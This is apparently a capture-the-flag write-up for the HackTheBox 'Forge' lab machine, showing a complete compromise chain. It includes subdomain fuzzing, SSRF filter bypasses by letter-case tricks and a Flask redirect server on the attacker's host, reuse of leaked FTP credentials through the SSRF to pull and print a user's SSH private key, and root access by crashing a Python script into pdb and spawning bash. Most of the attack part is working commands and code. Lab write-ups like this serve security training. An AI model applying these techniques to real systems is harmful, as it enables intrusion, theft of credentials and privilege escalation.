# LAB - SSRF Read id_rsa [TOC] # LAB -1 SubDomain/ SSRF - Read File via URL / Redirect Header bypass filter / Read ./ssh/id_rsa / pdb library to ROOT ``` TARGET_IP=10.10.11.111 TARGET_DOMAIN='forge.htb' ``` ``` nmap 10.10.11.111 -p- -T4 & nmap 10.10.11.111 -sC -sV -T4 ``` ![圖片](https://hackmd.io/_uploads/HyZm9AYzC.png) ``` echo "$TARGET_IP $TARGET_DOMAIN" >> /etc/hosts ``` ``` wfuzz -u http://10.10.11.111 -H "Host: FUZZ.forge.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt --hw 26 ``` ![圖片](https://hackmd.io/_uploads/B1IIb19MA.png) ``` echo "$TARGET_IP admin.$TARGET_DOMAIN" >> /etc/hosts ``` http://admin.forge.htb/ ![圖片](https://hackmd.io/_uploads/H1YWzJ9zA.png) Look up Upload Page ``` http://forge.htb/upload ``` ![圖片](https://hackmd.io/_uploads/ryPzmycfR.png) ``` http://forge.htb/uploads/U1QoZY8iXAzGBdLTZ2bH ``` ![圖片](https://hackmd.io/_uploads/r1weQ15MC.png) Attempt upload PHP ``` <?php echo phpinfo(); ?> ``` ![圖片](https://hackmd.io/_uploads/B1u2N1qGR.png) ![圖片](https://hackmd.io/_uploads/HJPtueqf0.png) Attempt to Access admin.forge.htb ``` http://admin.forge.htb ``` ![圖片](https://hackmd.io/_uploads/HJQxKx9fC.png) admin.forge.htb not be allowed ## SSRF Filter - Bypass ### Way-1 : Upper Char bypass filter ``` http://aDmin.Forge.htb ``` Bypass successfully http://forge.htb/uploads/ySrOxwcwEb2sQgUCQPYy ![圖片](https://hackmd.io/_uploads/Hy4Pqx5f0.png) ### Way-2 Redirect Header Bypass Filter we observer the http request, we can know the request is launched by python request module ``` User-Agent: python-requests/2.25.1 ``` We can simple setup a flask server and set redirect header to bypass filter ! ```python= from flask import Flask,redirect,request app = Flask(__name__) @app.route('/',) def redirectToAdmin(): return redirect("http://admin.forge.htb/") #Seting Redirect Http Header app.run(debug=True,host='0.0.0.0',port=80) ``` ![圖片](https://hackmd.io/_uploads/SJKYsbcG0.png) ``` <h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1> ``` Update HTTP server ``` from flask import Flask,redirect,request app = Flask(__name__) @app.route('/',) def redirectToAdmin(): return redirect("http://admin.forge.htb/") #Seting Redirect Http Header @app.route('/announcements') def redirectToAnnouncements(): return redirect("http://admin.forge.htb/announcements") #Seting Redirect Http Header app.run(debug=True,host='0.0.0.0',port=80) ``` Exploit ``` http://10.10.16.7/announcements ``` ![圖片](https://hackmd.io/_uploads/BJtzyS5GR.png) ``` curl -v http://forge.htb/uploads/ozZHmnamDPVjDCjjw55u ``` ![圖片](https://hackmd.io/_uploads/Skmskr9G0.png) ftp Username/ Password ``` user:heightofsecurity123! /upload endpoint now supports ftp, ftps, http and https protocols ``` #### Bypass Firewall to Access FTP via redirect Server `?u=&lt;url&gt;. -> ?u=<url>` ```python from flask import Flask,redirect,request app = Flask(__name__) @app.route('/',) def redirectToAdmin(): return redirect("http://admin.forge.htb/") #Seting Redirect Http Header @app.route('/announcements') def redirectToAnnouncements(): return redirect("http://admin.forge.htb/announcements") #Seting Redirect Http Header @app.route('/ftp') def redirectToftp(): return redirect("ftp://user:heightofsecurity123!@127.0.0.1") app.run(debug=True,host='0.0.0.0',port=80) ``` exploit ``` http://10.10.16.7/ftp ``` ![圖片](https://hackmd.io/_uploads/ByZ7NB5z0.png) It seem not support direct connect to ftp via redirect header we can utilize the announcements information upload endpoint have customer script to support ftp or ftps ```python= from flask import Flask,redirect,request app = Flask(__name__) @app.route('/',) def redirectToAdmin(): return redirect("http://admin.forge.htb/") #Seting Redirect Http Header @app.route('/announcements') def redirectToAnnouncements(): return redirect("http://admin.forge.htb/announcements") #Seting Redirect Http Header @app.route('/ftp') def redirectToftp(): return redirect("ftp://user:heightofsecurity123!@127.0.0.1") #not supported @app.route('/ftp2') def redirectToftp2(): path = request.args.get('path',default='') return redirect(f"http://admin.forge.htb/upload?u=ftp://user:heightofsecurity123!@127.0.0.1/{path}") app.run(debug=True,host='0.0.0.0',port=80) ``` exploit ``` http://10.10.16.7/ftp2 ``` ![圖片](https://hackmd.io/_uploads/H1AduHqMC.png) ![圖片](https://hackmd.io/_uploads/rkOc_SqM0.png) ``` http://10.10.16.7/ftp2?path=snap ``` Attempt -> .ssh/ ``` http://10.10.16.7/ftp2?path=.ssh/ ``` ![圖片](https://hackmd.io/_uploads/Bk2T5B9zR.png) Steal Private RSA Key ``` http://10.10.16.7/ftp2?path=.ssh/id_rsa ``` RSA Key ``` -----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn NhAAAAAwEAAQAAAYEAnZIO+Qywfgnftqo5as+orHW/w1WbrG6i6B7Tv2PdQ09NixOmtHR3 ..... nR7k4+Pryk8HqgNS3/g1/Fpd52DDziDOAIfORntwkuiQSlg63hF3vadCAV3KIVLtBONXH2 shlLupso7WoS0AAAAKdXNlckBmb3JnZQE= -----END OPENSSH PRIVATE KEY----- ``` ``` chmod 600 rsak2 ssh -i rsak2 user@10.10.11.111 ``` ![圖片](https://hackmd.io/_uploads/HkDcjBqG0.png) ![圖片](https://hackmd.io/_uploads/SJYlhBqGC.png) ### Python Script pdb library to ROOT ```python user@forge:/home$ cat /opt/remote-manage.py #!/usr/bin/env python3 import socket import random import subprocess import pdb port = random.randint(1025, 65535) try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind(('127.0.0.1', port)) sock.listen(1) print(f'Listening on localhost:{port}') (clientsock, addr) = sock.accept() clientsock.send(b'Enter the secret passsword: ') if clientsock.recv(1024).strip().decode() != 'secretadminpassword': clientsock.send(b'Wrong password!\n') else: clientsock.send(b'Welcome admin!\n') while True: clientsock.send(b'\nWhat do you wanna do: \n') clientsock.send(b'[1] View processes\n') clientsock.send(b'[2] View free memory\n') clientsock.send(b'[3] View listening sockets\n') clientsock.send(b'[4] Quit\n') option = int(clientsock.recv(1024).strip()) if option == 1: clientsock.send(subprocess.getoutput('ps aux').encode()) elif option == 2: clientsock.send(subprocess.getoutput('df').encode()) elif option == 3: clientsock.send(subprocess.getoutput('ss -lnt').encode()) elif option == 4: clientsock.send(b'Bye\n') break except Exception as e: print(e) pdb.post_mortem(e.__traceback__) finally: quit() ``` pdb -> allow attacker Input very long number to the int() function to trigger python debugger ``` VulnCode import pdb !! option = int(clientsock.recv(1024).strip()) ``` ![圖片](https://hackmd.io/_uploads/SJ47JIqf0.png) span shell ``` import os os.system('bash') ``` ![圖片](https://hackmd.io/_uploads/HJYxxIqf0.png) ![圖片](https://hackmd.io/_uploads/S1emKI5GC.png) ``` root@forge:~# cat clean-uploads.sh #!/bin/bash rm /var/www/forge/forge/uploads/* ``` Solved !